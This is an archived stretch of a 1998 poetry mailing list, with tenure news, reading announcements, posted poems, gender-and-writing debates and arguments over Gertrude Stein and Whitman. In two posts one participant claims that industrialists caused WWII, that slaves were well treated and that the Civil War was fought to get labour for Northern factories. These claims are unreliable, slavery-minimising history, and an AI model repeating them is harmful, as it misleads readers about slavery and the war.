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>> the sentences above are demonstrably inaccurate. Was it
>> your view that the prior, unmodified statements were equally untrue? I'm
>> kind of slow about things like this, just trying to figure out what it is
>> you are contesting, as mainstream writer heavily influenced by Alice Notley.
>>
>
>

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74. beth lee simon

Re: dis-appointment...

Fri 3 Apr 1998

Joe Amato/Kass Fleisher wrote:
>
> and fifth (i save the worst for last), and along the lines of power: to
> report here, publicly, that ILLINOIS INSTITUTE OF TECHNOLOGY in chicago has
> just denied me tenure (along with another colleague here in humanities)...
> which issue, though as don byrd (my dear dear friend and diss. chair)
> suggests, is surely an example of a person beating a very personal and

> public drum, i hope fortifies some of my other comments on this list over
> the past few years... thanx to all those who've voiced their support for me
> over the past year during this (what else but?) ordeal... but in any case,
> i post here with the hope, self-serving though it may be, that folks will
> drop me a line backchannel if they hear of any institution looking for a
> poet who knows a bit about critical theory and emedia, and (if i may) who
> speaks his mind now and again...
>
> best,
>
> joe

Joe,

I'm an admirer of your work and thought. Very sorry to hear about the d of tenure. We may well be hiring, tho not for this fall. We've JUST filled (or rather are about to make an offer) for a one-yr Visiting position, but that will be redefined and then (we hope) approved.

Best wishes!

beth simon
assistant professor, linguistics and english
department of english and linguistics
indiana university purdue university
[redacted]

↑ Index

75. Hank Lazer

Re: dis-appointment...

Fri 3 Apr 1998

---

a sad, dumb decision. my condolences, Joe.

Hank Lazer

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76. Rachel Loden

a poem by Hilda Morley

Fri 3 Apr 1998

Forwarded from Halvard Johnson, of another list, who comments that "It's interesting how, when a poet dies, the *New Yorker* often manages to find something in its files to publish . . . The Apr. 6 issue has this by Hilda Morley (1916-1998)."

Had they ever published her work before, I wonder--

Your Color

More in some ways than when you were alive, I try to
please you,
to find I am of your way of
thinking, as with these red carnations:
they're your color.
For myself I'd always
chosen white, saying--
that red's too strong for thinking
in a room, too much.
But now I love these flowers,
having grown, these years ("mourning" they said),
more into what you wished:
a clearer form now, seeing
this redness (suspended) above green stems as
thumbprints of Mediterranean earth that
you belong to, crop of a heart's blood on
this city's grayness,
this room's whiteness.

--Hilda Morley

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77. Marcella Durand
Anselm B reading
Fri 3 Apr 1998

Anselm Berrigan is reading this Saturday with Tonya Foster (whom I knew in school and am very curious, after not seeing her for many years, at what her work is now) at HERE, which is on Sixth Avenue between Spring and Broome, kind of a gallery-looking place with big street-level windows. The reading is at 3, admission is $5, and it should be a fun reading. I'll be there anyway with my big sunglasses, flip-flops, beach towel and sunscreen to protect me from the glare and rays.

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78. daniel bouchard
O B D Ants
Fri 3 Apr 1998

Keston,

I think you will have an easier time posting to the UberList once you get out of Cambridge (Mass) and back to original Cambridge. After all, you've been indicted twice here for your e-mail address. I mean, I can see how people may presume things if a listee's address was [redacted] but you've been trashed, or attempted to be trashed, because your intelligence and diligence have landed you a temporary association with a well-known, well-stereotyped university.

Anyway, although it's interesting what Stein said about Germany, I'm not interested. Or, is it: interested, not interesting?

This is from BREWSIE & WILLIE, after the second war resulting from the first war:

"And it's all because everybody just greedy wants to manufacture more than anybody can buy, well than you know what happened after the last war we cut off immigration, we hoped to sell enough to foreign countries, foreign countries didn't want to buy and we had the depression. My God yes, said Jo, we did have the depression. Yes and then we had to fight, and yes we won but we used up a hell of a lot of raw material and now we got to make a club to make those foreign countries buy from us, and we all got to go home to make some more of those things that use up the raw material and that nobody but our own little population wants to buy. Oh dear, said Brewsie."

Now that's interesting. But as interesting as the following from Walt Whitman (who is known to be naked on a Website somewhere)?:

Resist much, obey little;
Once unquestioning obedience, once fully enslaved;

Perhaps this is the spirit Stein sought to convey to the American officer?

later,

daniel bouchard

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

79. Rachel Levitsky

Re: From the "Adventures of Yaya and Grace"

Fri 3 Apr 1998

Yaya’s Rapture
for Carla Harryman

"The things you think are funny"

In a crowded room. Chaos. Books and flies. Books fly. Pastels, flourescents, named after birds and Disney movies as far back. The city, until. Berlin. Kruschev wants it. Now! In the west, feeding their addiction for metaphor, they watch as closely as they can. They believe. They make it religion, craving a national pastime to which they’ll all know the tune. Humming as mediation. Familial. Fat. Flat-chested androgyne amazonians. Spandex, then lycra, more washable, evaporates your sweat. AT$T destroys the last real phone booths on West End Ave. The beginning of a new century. Fortuitous. Premonitory. Still trying to make friends. There we were.

Grace loved all the different houses, imagined them as names for her identity. She was incorrect. She couldn’t take them along, in or outside her skin, then fading, the pores becoming too large. Drilling holes into her various parts. By now conventional. It was the beginning of a new century. “Djuna, you still alive in there?” “Do I look like someone with a Driver’s License?” I wanted to touch her, I was sure she could have been the driver and would let her drive me anywhere. I’d parallel park for her whenever she got nervous. Instead, I forgot she was there and continued window shopping. Impulse spending. You could argue I don’t need another bottle of perfume. Perhaps Djuna watched, she was known to time travel, and was expert at being several places at once. Here the speakers of the language have the hardest time. What to call it, in, on, at, or near. I know I’m fantasizing and it’s not nice to metamorphose an esteemed and ancient women of modernist letters into a voyeur solely for the sake my sexual pleasure. Yet, how would she know unless it is true this is what happened? I could see both the horse drawn buggies and the helicopters, shipping water from anywhere, desalinated as a contrived plea, forgive us please for dumping all that toxic waste. The shit still smells. Every Jew will tell you that in great detail and I can say this because I am one. No reason to hide here, you’d question me either way. Even if she didn’t have an issue with Jews, I don’t think she’d go for me in any of my stages. She might say my difference was attractive, most certainly in the wee hours. They say if the hand fits. Well, it fit and that mattered. It wasn’t the chaos we minded, it was his beauty got us. We no longer needed to argue about the forms. They made attractive envelopes. Returned to senders. Instructions included.

instructions:

there is one cunt for every penis, those manufactured in the latter day. a lump for every breast. post mammogram. post paid. united we post. the heart dripping. the bleeding heart. someone said that. duh, this is a game, I made it up though have little to do with the rules. they keep changing. pick a city any city. no, pop. at least 100 thousand. ok, so you have this city in mind. find the main road. where the pedestrians cross and by what means they know it is their turn. if it’s a lit up little white man you lose.

two. pick a city any city. no, at least 49 languages spoken. no divisions for doggerel.

three. pick a moon. any moon. wait, there has to be a neighbor and a dog. no french.

four. pick a woman. any woman.

air travel. rules: free miles are earned. if you are a woman, by each penis. if you are a man, you fly free until you contract a venereal disease. if it’s HIV, it’s you who has to find the cause, you get three women’s bodies free--for your experiments. the fourth is of a goat. and a strict vegetarian diet but for once a year when you will bathe in a pool of pork. if you contract trichinoses you go to b.f. skinner. he’ll put you in a box.

next. pamplona with ernest hemingway. brett will serve the drinks. the first human to grab her ass will turn into a tower of babel. the second will speak every language. the third spills her words over the mast. when the church bells ring, there is a race to the beginnings. the first one who gets there dies. all the points are divided in the manner of paint-by-number. if you are the first to run out of pink you must lie about everything you’ve understood about your character up until that moment. the trick is that everyone will believe you though with a piercing cackle you tell them it’s a ruse. in this game there is no need for the truth. it goes underappreciated and has nothing to do with your salary.

↑ Index

80. Loss Pequen~o Glazier

Passages 5: Eigner Issue

Fri 3 Apr 1998

Biog. hard to repeat many times. Inconclusive and gusty
as it's likely to be. The Descent Beckons. The sky is
still right and left. Born palsied, I have prosthetic
hands when it comes to mail etc. wired through rube-
goldberg brains. Dont know wht prt of biog shd be booked.

—Larry Eigner, Contributor's Note in Poems Now,
ed. Hettie Jones (Kulchur Press, 1966)

Announcing PASSAGES 5: the Larry Eigner Issue, edited by Benjamin Friedlander and Christopher Funkhouser. This great issue of PASSAGES filled with tremendous work. Now available as the "Selected Resource" at the Electronic Poetry Center. http://writing.upenn.edu/epc A limited # of printed copies are also available @ $5 each from Passages.

↑ Index

81. k. lederer
Re: Tired chit-chat
Fri 3 Apr 1998

Mark--

I disagree. All discourses are NOT interchangeable in this way--

I'm not talking about mad libs here--I'm talking about discourses that require binary and oppositional structures--with one of the binaries marked and one of them unmarked ("normal").

Also: as per your apparent accusation that I haven't "proved" my points, or that I have otherwise shied away from discussing my views.... what?

I think I've said a lot about my feelings as a women (among other things) in the world of poetry.

I have not been making claims for anyone else--

And I never said anything that ever ever implied that men needed "translators" (or v.v.) for women's writing.

I think you're crazy if you think the social context within which poetry is written has NO analyzable effect on actual poetry.

Why must I say that women's writing is "different" across the board for it to be valid that perhaps some writing by women could be analyzed in part through a gender lens?

Best,
Katy

↑ Index

82. nyu.edu
NYC Reading
Fri 3 Apr 1998

Michael Heller Reading at NO MORE

Monday, April 6th 6:30 PM

NO MORE is at 234 W. Broadway

(Sponsored by The Mad Alex Foundation)

↑ Index

83. Keston Sutherland
Re: no she was right
Fri 3 Apr 1998

Gee Billy, what a strange rejoinder. If I'm threatened I'd not noticed but hey that'd of course explain my remarks, historically grounded though they are. Your belief that the Germans were incredibly obedient however - well, I don't know; are you under the impression that the Germans voted for Auschwitz, or is there some other less concrete teleology that took the quick route from Germanness to genocide? Why would I want to shine her shoes? YOU seem pretty obedient to me, to the usual default inflation of an obvious sentiment: "TEACH THEM blah blah". And it would have been an American to say so, naturlich. Were the world that simple. And not ANOTHER resentful gripe about Harvard? I've just got here - what is it with poeple on this list and Harvard?

Maybe you could consider how your note, though making the usual groaning and slavering noises re: Stein (whom I actually love), might be seriously offensive to Germans? Or is that irrelevant?

↑ Index

84. Keston Sutherland
Re: no she was right
Fri 3 Apr 1998

Dan

thanks for helping out re: the ol' Harvard "kick me" sign that seems to be cut and pasted to my inbox, what is it with some of these people, I didn't insult Billy Little - just disagreed with him - and then I get this message basically telling me to fuck off. Not sure how to.

k

↑ Index

85. henry gould
Re: 4/4/theses
Fri 3 Apr 1998

Don, who's thesis is dangers, Mark's or mine? I couldn't tell. They are 2 sides of the same coin. Poetry is didactic. Mark's concern for justice/utopia is the

flip side of the idea of the world being inherently poetic - i.e. the concern for "reading" the world as it is. By inherently poetic I'm not talking about Pollyanna lala-land - poetry is epic/tragic as well as joyful/beautiful. I thought that was what Michael Corbin was saying too - as well as what you said. I just think sometimes as talkers- about-poetry we don't give poetry enough credit. We're always saying stuff like experiment is liberating, dashes are masco-feminine, blah blah. Poetry when it hits the fan is a correlated turbine turbulence - don't get in its way. It's almost as powerful as reality. Maybe this is what you meant by "telling stories". and what Rachel Democracy meant when she picked up Ishmael off Q's coffin, or something like that. - henry Gould

↑ Index

86. Alan Myouka Sondheim
perhaps from Alan (fwd)
Fri 3 Apr 1998

-

Do I live in Japan? Have I lived anywhere?
Do I wander in a desert? Is this Shumer, Akkadia?
In Akkadia I have seen ghosts; in Japan as well.
I am inundated by ghosts. I am inundated by ghosts.
They do not speak to me; I do not hear voices.
They are invisible to me; I do not see wraiths,
uncanny shadows, the glimpse of drawn faces,
in the middle of a howling night.
They push and pull at my body. They pull it apart.
They pull at the mind leg arm penis. I do not know
if they have eyes or mouths.

Shall there be more? Their limbs form breasts
on my body. Their lips form cavities against my throat.
They break my back with swollen flesh. My back
has been broken in many places. I am told
my eyes have bright red light, one can see for meters
around my skin. They take my skin. I think they say
"This is JNJ," over and over again, I understand
them. They sway on my knees; my nipples are hard
with inner curves of other fingers.

Their lips

(this is not good either; there's no broken conceptualism. don't I worry about the limbs, they might not fit on. but that shouldn't affect the list, these limb problems, but then again there's just writing.)

↑ Index

87. Patrick F. Durgin

address request}

Fri 3 Apr 1998

If anyone has a contact for Kimberly Reifel, please back-chan.thnx
Patrick F. Durgin

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`
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`
`  ----->*<-----
`  K E N N I N G|
`  anewsletterof|
`  poetry&poetic|
`  s418BrownSt.#|
`  10IowaCityIA5|
`  2245USA\/\/\/|
```

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88. morpheal

Re: O B D Ants

Fri 3 Apr 1998

> *This is from BREWSIE & WILLIE, after the second war resulting from the first war:*
>
> *"And it's all because everybody just greedy wants to manufacture more than anybody can buy, well than you know what happened after the last war we cut off immigration, we hoped to sell enough to foreign countries, foreign countries didn't want to buy and we had the depression. My God yes, said Jo, we did have the depression. Yes and then we had to fight, and yes we won but we used up a hell of a lot of raw material and now we got to make a club to make those foreign countries buy from us, and we all got to go home to make some more of those things that use up the raw material and that nobody but our own little population wants to buy. Oh dear, said Brewsie."*

Alright, I will bite on this one....and be the devil's advocate....

WWII was initially a result of industrialists, not a political party led by the tragic-comic figure of Hitler. Hitler was as silly figure-head, chosen because he was extremely brain washable and controllable. Look to who profited from

armaments manufacture and you have the answer as to what it was about. Even the part about having a scapegoat to blame for all the financial blood sucking that went on. I think we do have to wonder how much foreign influence spurred on Germany such that it led to the ultimate chain of events....including the diminishing of Stalinist Russia's ability to present any really strong competition for a long while after the exhaustion brought on by the war against Germany's exhausting and misdirected efforts to conquer Russia.

Now there is not much chance of a depression, or even a significant recession, in Europe for years ahead from now.....

1). Eastern Europe, former Warsaw Pact and Russia, are very needy and greedy.

2). Europe does not want America to be the ONLY significant military power. The E.C. definitely does NOT want a "one empire" world and to be a colony of that one empire.

So we can now expect Europe arming itself to the teeth. Deja-vu, but for very different reasons than before.

> *Now that's interesting. But as interesting as the following from Walt Whitman (who is known to be naked on a Website somewhere)?:*
>
> *Resist much, obey little;*
> *Once unquestioning obedience, once fully enslaved;*

The electric rule is that resistors burn out, eventually, every time they revolt, though it consumes a lot of voltage to do it.....

Though I do tend to agree with Whitman on that....in terms of following any totalistic ideology. There that comment is definitely appropriate. I wonder that quote says about Whitman's time period, around the time of the Civil War and living in the North ? Lincoln as the figure head of a tending towards tyranny or totalism nation ? Interesting possibility.

After all, the North saw the South becoming more powerful, more industrialized, and decided to put a stop to it. They wanted cheap slave labour for their own factories, except that they paid "subsistence" wages rather than providing shacks and plots of land on plantations. Also, what is the difference between a slave and a domestic servant ? Often, in those days, no difference whatsoever, except that many a servant could not afford a home to go to, and slaves all had somewhere to refer to as their home. Odd that the southern slave owner was expected to take good care of his property and not abuse it. It was essentially expected of him by his society and most complied to the standards of that time period. Slaves were too essentially too costly to abuse. Servants in the north were inexpensive. There was only a very small wage to be paid, and if one

servant sickened or did not perform as expected of them, they were simply gotten rid of and replaced without capital loss.

In the north the northern factory owner did not have that kind of requirement placed upon him as to caring for his slaves, either. The abuses upon coloured workers, and others, including child labour, in Northern factories certainly rival anything the southern owners of slaves ever did. So what was the civil war about ? Emancipation ? Not likely. More slaves for the north, except double speak did not allow that word to be used anymore, and industrial supremacy, wiping out the growing southern competition.

When we place Whitman in that scenario, it looks a lot different. I think we need to read Whitman's words in that light, and see what they then tell us about that time period in which he lived.

Peace.

M.

↑ Index

89. Mark Weiss
(no subject)
Fri 3 Apr 1998

Katy: Yes, I'd be crazy, etc., but I was talking about a particular claim, that the language itself, not the concerns, is somehow gender-marked (whether the markers are male or female--there, I've marked both poles now). It might be informative to investigate how various female writers have indicated gender when using a male as mouthpiece (the aforementioned Brontes, Willa Cather, etc.) and vice versa. Maybe this has been done?

At 08:19 AM 4/3/98 -0600, you wrote:
>Mark--
>
>I disagree. All discourses are NOT interchangeable in this way--
>
>I'm not talking about mad libs here--I'm talking about discourses that
>require binary and oppositional structures--with one of the binaries
>marked and one of them unmarked ("normal").
>
>Also: as per your apparent accusation that I haven't "proved" my points,
>or that I have otherwise shied away from discussing my views.... what?
>
>I think I've said a lot about my feelings as a women (among other things)
>in the world of poetry.

>
>I have not been making claims for anyone else--
>
>And I never said anything that ever ever implied that men needed
>"translators" (or v.v.) for women's writing.
>
>I think you're crazy if you think the social context within which poetry
>is written has NO analyzable effect on actual poetry.
>
>Why must I say that women's writing is "different" across the board for it
>to be valid that perhaps some writing by women could be analyzed in part
>through a gender lens?
>
>Best,
>Katy
>
>

↑ Index

90. **dbkk**

Standard's standards

Fri 3 Apr 1998

> *From: SSSCHAEFER <[redacted]>*
> *Subject: Dodie chat*
>
> *I have read your writing and much of the rest of the writing on this list and many others. Nice condescension, though. Excellent technique. And of course all writing is about technique at some point. Not sure why you're so hostile to my questions. I thought I was sincerely trying to get someone to help me think about these issues and I think it is happening.*

Standard,

As I read your post you were saying that your fears were coming true, that we were talking about content instead of form, and then you brought me up as an example of a content-monger. I felt this was very condescending--if you'd used someone else as the bad example, I'd surely had not gotten so invested. This is different than just bringing up the issue of form and asking a question.

I don't believe in this big division of content and form anyway, as if form were the holy spirit and content the corrupt rotting flesh that needs to be powdered and perfumed . . . Remember the old word logocentrism, maybe we should revive it here.

If I misunderstood you I am sorry, but I just read bell hooks latest book when I had stomach flu. She's infected me. Even though I have lots of problems with the Wounds of Passion (and want to send Nate Mackey a bouquet of roses in sympathy), it does make one think about the gaze, the white gaze, the male gaze. I keep thinking about her incessant (and irritating from my perspective) cataloguing of people--everybody is introduced as a type: racial, gender, professional, class, judgements of attractiveness, personality flaws in these long lists of adjectives. It all sounds so reductive, but by doing this she's breaking down the idea of a "norm." No one gets by without a list of adjectives clinging to them, no one is the norm.

Dodie

↑ Index

91. Keston Sutherland
Re: O B D Ants
Fri 3 Apr 1998

M says:

WWII was initially a result of industrialists, not a political party led by the tragic-comic figure of Hitler. Hitler was as silly figure-head, chosen because he was extremely brain washable and controllable. Look to who profited from armaments manufacture and you have the answer as to what it was about.

I don't think this is true at all. Industrialists (some) may have believed themselves to have made this choice up until about 1933-4, but it rapidly became clear thereafter that their role in a fully integrated state would be entirely dictated by the government (as was in fact the case). Funk and then Speer directed all industrial production, even ordering that many factories abandon their regular output and concentrate exclusively on the production of a single item. Industry in Germany was centralized and improved -in order that- the war effort could be sustained, and not the reverse.

k

↑ Index

92. Keston Sutherland
Re: your mail
Fri 3 Apr 1998

---

but I was talking about a particular claim,
that the language itself, not the concerns, is somehow gender-marked

It might be interesting to compile a list of neologisms coined by women and to compare that to those coined by men?

↑ Index

93. Keston Sutherland
a poem by Andrea Brady
Fri 3 Apr 1998

Vanish

Peace where the wound is, flapping like a burnt egg,
loose with bubbles whose odour bursts to
spread gold over fawn spikes of ambition. It
makes nothing of me, nor of the face frozen in wood.

Process, relished, washed carefully in tide, fasting
at corners with ceaselessness. Wish
to seep gaping into that burst flesh and be
cell of its kite-like body, but patently do not.

Instead, to feast on saw grass, as a slim hope
that all curricular indications and graded projects
do not stop. But that ceaselessness seems
different, a cut to limp the bright open flow.

In hoping proof, it's mentioned, and when the sun
turns collapses like atoms of an open
flower, wrecking all solar provisions. Peace which drew
me to its bright flesh pulps and pulses without verge or entry.

↑ Index

94. Mark Weiss
Re: your mail
Fri 3 Apr 1998

It might be, at that.

I'm getting a little annoyed at this game. Anybody's message can be treated with substitutions, which would quickly turn this list into a five-year-old's shouting match. My own preference when not dealing with issues raised or slighting the sender is silence, into which I retreat.

At 02:05 PM 4/3/98 -0500, you wrote:
> but I was talking about a particular claim,
>that the language itself, not the concerns, is somehow gender-marked
>

>
>
>
>It might be interesting to compile a list of neologisms coined by women
>and to compare that to those coined by men?
>
>

↑ Index

95. MAYHEW
agacE de ce long bavardage inutile
Fri 3 Apr 1998

A thought experiment: Refer to women poets simply as poets and call male poets "men poets." Teach a course on American poetry reading H.D. Stein, Howe, Plath, etc... include a few men poets as tokens if you get complaints from the male students. Spend some time earnestly discussing the masculinism of the token men poets, then return to the more universal concerns of the "poets." In other words, treat the masculine as the linguistically marked gender. Try it for just a day. I wrote an article in which I used the terms "poet" and "male poet"--it was not all that difficult.

(I missed something--why are all the gender posts listing their subject as "idle chitchat"? The title of my post, a line from Roussel, is an ironic reference to this.)

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

96. Elizabeth Hatmaker
Re: agacE de ce long bavardage inutile
Fri 3 Apr 1998

Where could I find this "male poet" article? -- sounds interesting

E. Hatmaker

↑ Index

97. Hzinnes
announcement
Fri 3 Apr 1998

---

3 April l998

Harriet Zinnes reads her poetry for the Spoken Word Program celebrating National Poetry Month at the Brooklyn Museum of Art on Saturday, April l8, at 5 p m. 2nd Floor: The Prints, Drawings, and Photographs Gallery. (200 Eastern Parkway)

Free with Museum admission.

↑ Index

98. Maria Damon (Maria Damon)
Nathaniel Mackey's Mpls Visit
Fri 3 Apr 1998

---

april 2 nathaniel mackey read from his prose and poetry at the university of minnesota, to a full house of students, faculty and community folks. he started w/ a section of one of the letters from his epistolary novel Djbot Baghostus's Run, describing the performance of the fictional band the Mystic Horn Society, which reaches apotheosis in a blend of paganini's caprice #9 and albert ayler's ghosts that takes off and becomes its own thing. then he read poems from School of Udhra and not-yet-published work. it was exciting, rhythmically jazz, very complex syntactically (and of course semantically) meditations around absence, art, aspiration (yeah, lots of alliteration). then today he lectured my class, American Poetry Since 1940, on HD's influence on his work. It was terrific. I guess he'll be giving the same paper in chicago in a coupla weeks. highly recommended; dense, duncan-mediated, cecil taylor thrown in as well as kamau brathwaite and oceanic consciousness ("tidalectics"), good info for those of us in the midwest. tonight he reads again, at the Nomad Gallery in St Paul, to "the community," i.e. not the university, though of course there will be overlap. it's been a pleasure to have him here and in case there is anyone on the list who has not yet had the reading or cd-listening pleasure (though there are probably very few of you who now fall into that category), by all means check out his titles.

↑ Index

99. **morpheal**
Re: O B D Ants
Fri 3 Apr 1998

> *I don't think this is true at all. Industrialists (some) may have believed themselves to have made this choice up until about 1933-4, but it rapidly became clear thereafter that their role in a fully integrated state would be entirely dictated by the government (as was in fact the case). Funk and then Speer directed all industrial production, even ordering that many factories abandon their regular output and concentrate exclusively on the production of a single item. Industry in Germany was centralized and improved -in order that- the war effort could be sustained, and not the reverse.*

I responded backchannel to this.

Whitman is the poetics thread.

↑ Index

100. **Karen Kelley**
For Juliana Spahr
Fri 3 Apr 1998

Sorry, all, but the email address I have is wrong, so:

Hi Juliana,

I just mentioned chain on a list I'm on & people want more info: is the info at EPC correct?

annual, $10 per issue
payable: UB Foundation

Jena/you @ 215 Ashland Ave
Buffalo, NY 14222

Hope you're well.

Karen

↑ Index

101. **Rachel Levitsky**
Re: agacE de ce long bavardage inutile
Sat 4 Apr 1998

Jon--

Gee--I always thought it'd be so excellent to put together an anthology with exactly that idea. I guess the cats out of the bag now.

--RDL

P.S. Just coming back from Harry Mathew lecture/reading at DU where he discussed the possibilities of translation vis a vis Oulipo models and said that the pleasure in the random applications with rules was the same as a child's (I heard 'boy's') love for "hard games with tough rules." (I never did like those much as I'm sure many of the boys out there did not, I don't know if I believe it's a gender thing but it certainly comes in handy as a graceful way out.) Later read a bunch of oulipo-inspired works, very vast, global, temporal (Cronogram for 1997, 1997 words--all roman numeral letters translated into number, but for I, of which there were a specific/relevant amount, I forget how many).

↑ Index

102. morpheal
Re: alligators, dense fog and Scala piano
Sat 4 Apr 1998

> *-never though Senor Blake could be such fun-so how is it out there in poetical land-*
> *When the dust settles out, the clouds lift and people start sifting and sorting thru the remains of this century -people are going to remember some great thinkers of the 20th century.*
> *Teenagers everywhere are going to carry copies of Leslie Scalapino's Defoe under there arms and read together in groups on stage and in alleys.*

One possible alternative scenario is that they might be forbidden to read anything other than technical and business journals. Those who can afford it might be able to purchase bootleg copies of 20th century poets, from underground sources, but the penalties might be extremely harsh.....

M.

↑ Index

103. Karen and Trevor
mei-mei & elizabeth
Sat 4 Apr 1998

Kelsey St Press presents a reading:

Mei-mei Berssenbrugge
&
Elizabeth Robinson

Tuesday April 7
@

Canessa Park Gallery
San Francisco

↑ Index

104. Ellay Phillips
Re: a poem by Andrea Brady
Sat 4 Apr 1998

Thank you for posting the poem by Andrea Brady. It is a lush, sensuous and smart piece of work.

Ellay Phillips

↑ Index

105. Keston Sutherland
Re: a poem by Andrea Brady
Sat 4 Apr 1998

On Sat, 4 Apr 1998, Ellay Phillips wrote:

> *Thank you for posting the poem by Andrea Brady. It is a lush, sensuous and smart piece of work.*
>
> *Ellay Phillips*

Thanks for reading it - I'll post a few more. I do think that she is an important and distinct writer, whose work is not merely thoughtful but is real -thought-, and whose new work is a mediation and a reengineering of the possibility of several kinds of expression, and of several kinds of sentiment. Hopefully the other poems I post will bear this out! Her new book is to be published by John Kinsella's SALT press this month.

yrs, k

↑ Index

106. Keston Sutherland
Another by Andrea Brady
Sat 4 Apr 1998

lying low in pusillanimity of fear

Wagons decked with excuse drew past
in a quick three-frame slide. Air, moist, drifted to

my window, shut, and without rumbling
at its ignominious discharge, we lay
white sheets on our Bermudan bed.

How we think of slashing flags of a
perfect tense. Crisp after the token

fever seated on that vast prospect of flatness,
my corpse wills itself upward in honest parody.
In objectiveness of denser gas, racked

across a few hundred metres
it anticipated a penultimate lecture of regret.

Lay me on a hard board. So if
I might reckon the total silence of will; but,
a panic of it unable to trim me yet, back

through the hazard zone under its orange circles,
regret and pointedness inflating till I verge

in the bed's contracting pupil.

↑ Index

107. Wendy Kramer
tired chit
Sat 4 Apr 1998

---

or, this tired lady, if you prefer... going to work, and lurking, and generally corresponding take energies, as well as give 'em, i s'pose, but so much of interest to comment on:

1. to whomever posted about fatimah tuggar a big thank you!! you've recruited a new fan. went to see those two exhibits in nyc you posted about, and then today (couple weeks later) went to see her talk at the exhibit "keeping track of the joneses." some things i found inneresting:

that she collages her collages digitally --oops, i mean on the computer, not digitally like fingers. but also that many of her pieces use "real" objects--a metal box with photos; cushions with photos of family members on them, around a digital-image round collage of an eating mat filled with products centrifugally (cant spell that) shooting; one collage was slide-projected onto a bath of yoghurt in a clay pot! you could barely make out the women holding pots collage in it, but once you made it out, you couldnt not see it!

2. in response to the "how can you tell?" gender thread, well, i have to say that i dunno what you kin tell a woman or a man by what her/his writing/artwork looks and sounds like (naw!), but i _can_ say, for example, that when i first saw

that post about tuggar i didnt know she was a woman, and when i visited the website and somehow found out, well it made a big 'ol adrenalin difference to little chit me. not sure all of why, but it's a sexual feeling, & too a role-model thing. not that i'm not turned on by poetry by men, and shit yeah, many men are also my role models, but...there it is. some kinda excitement. and relief and green-light GO! You TOO could do... like dodie (i think it was) said but in diffrent context thank god for kathy acker. it's been important for me to be able to see people about whom i could say yeah, "what SHE said" or "i wanna grow up to be like HER." i mean, i woulda loved gertrude stein no matter what her plumbing, but her being a lesbian made me--a late-teen-kid then-- her loving-faithful.

3. oh yeah, one more thing. in the basement floor of the new museum gallery where we saw fatimah tuggar, we saw also a flea circus exhibit by another woman, Maria Fernanda Cardoso--complete with video performance of said circus, wherein the artist reigned Queen, along with related banners, placards, and glassed-in preserved fleas in progress of death-defying feats, such as tightrope-walking and getting shot outta cannonballs! o marvelous mayhem! amusement! what technical skill! flea circus-ing has a whole history (as do fleas in human society) about which i hadnt ('til now) hadda clue.

↑ Index

108. Keston Sutherland
booksbyab
Sun 5 Apr 1998

A few poems by Andrea Brady available:

open bond	(Barque 96)	$3.00
Of Sere Fold	(Barque 97)	$3.00
Cranked Foil	(Poetical Histories 97)	$3.00

The Poetical Histories piece is a lovely letterpress long poem. I have these books here with me (I am Barque), and can send them pronto. E- me.

More of her poetry can be found at jacket.zip.com.au (#4)

Good week to all, k

↑ Index

109. Keston Sutherland
ab's verses
Sun 5 Apr 1998

---

sorry, I meant jacket ---#3---

k

↑ Index

110. Tom Beard
Fw: Thunder Failover/Hail Shutdown
Sun 5 Apr 1998

This is a message from our sysadmin: it looks almost like one of those Oulipo word-substitution games. Since we're in the weather business, all of our servers have meteorological-sounding names, which can result in approximate surrealism when read by outsiders.

> *It has become necessary to restart Hail. We will be shutting Hail down on Tuesday Evening (7th of April), at 5:00pm. This means that Thunder will failover to Rain. (PCs may notice a failure, and then carry on as usual - Macs will be able to access files by connecting to Rain rather than Hail.) Hail will be up and running by 5:30ish.*

I remember when the web was young, and many universities here seemed to have Tolkein-derived names for their servers: gandalf.otago.ac.nz amd so forth. This probably reflected the reading habits of Comp Sci students more than anything else, but resulted in some odd moments. I was wondering whether anyone else had any examples of the poetics of computing nomenclature?

Tom Beard.

↑ Index

111. Keston Sutherland
possible part 5 of on the occasion a repast
Sun 5 Apr 1998

5.

Right then as a shredded root lacking information it all
set to glow up, put tran
quil as a case

to evade foraging re: slash-up and active
regret by a stream of burns and wood-gas, there is no
time everything
fails at her prop
er acid spoof rate
not shrunk now, graced
with acquittal and
the occasion is blind as a knife
to split

or jog back, former sun
light bracing her
loth to surmise and permitted and she's dis-
charged just so that she may
cor-
rupt on a breeze and line, then
as it sped
pre-taxed over my skin / torched lacquer driven by
each of these softened lights
into service, flutter of frayed re
dress-hopes pay
day brick in
the eye of her, scrape her
new say-so sickened and wild from that pigment wait there
is time, trilled and fact
stuffed bales
of it and the gentle love backlog's doused
all over in abated danger, she can
always kiss at my throat cement and row out
arm in arm, on our splinter-trial as a riftless proof of choice.
What does she care. Spare her, lay
her down, case by case.

↑ Index

112. david bromige

re : Thunder Failover/Hail Shutdown

Sun 5 Apr 1998

Tom Beard's header until I read his message was going to be, I expected, an explanation mock or authentic of the Silence of the List--that either due to bad weather or Passover, people werent posting, and whats more, Tom Beard ("Hail, Shutdown!") was either pleased or pretending-pleased about this.

So his actual message, while interesting, made me feel a sense of anti-climate..

Bowering, generally as well-informed as he is modest, b-c'd me & said the List was this quiet because everybody was reading his new book, _Piccolo Mondo_ , which is up on the web at Coach House Books.

Perhaps. All I know is that I mourn the effusions of the distant past, the maelstrom surrounding the worth of Tom Clark's poetry & morality, the high tides of love-poetics abutting St. Valentine's Day, the lightning-bolts of Kent Johnson's persecution--twas an Age of Gold, is this an Age of Lead?-- A Swain.

↑ Index

113. George Bowering
re : Thunder Failover/Hail Shutdown
Sun 5 Apr 1998

Unlike Mr Bromige, author of the Web novel Piccolo Mondo, I am not bothered by a silent net. It gives me a chance to (1) answer some of the e-mail from last October, and (2) make dinner for my wife Angela.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

114. John Tranter
The Age of Plastic
Mon 6 Apr 1998

David Bromige in a recent post posed the query:

"All I know is that I mourn the effusions of the distant past, the "maelstrom surrounding the worth of Tom Clark's poetry & morality, "the high tides of love-poetics abutting St. Valentine's Day, "the lightning-bolts of Kent Johnson's persecution-- "twas an Age of Gold, is this an Age of Lead?-- "

No, David; the Age of Plastic. My friend the late John Forbes put it thus:

"The Age of Plastic" (copyright the Estate of John Forbes 1998)

after Ovid

The dictionary definition of change
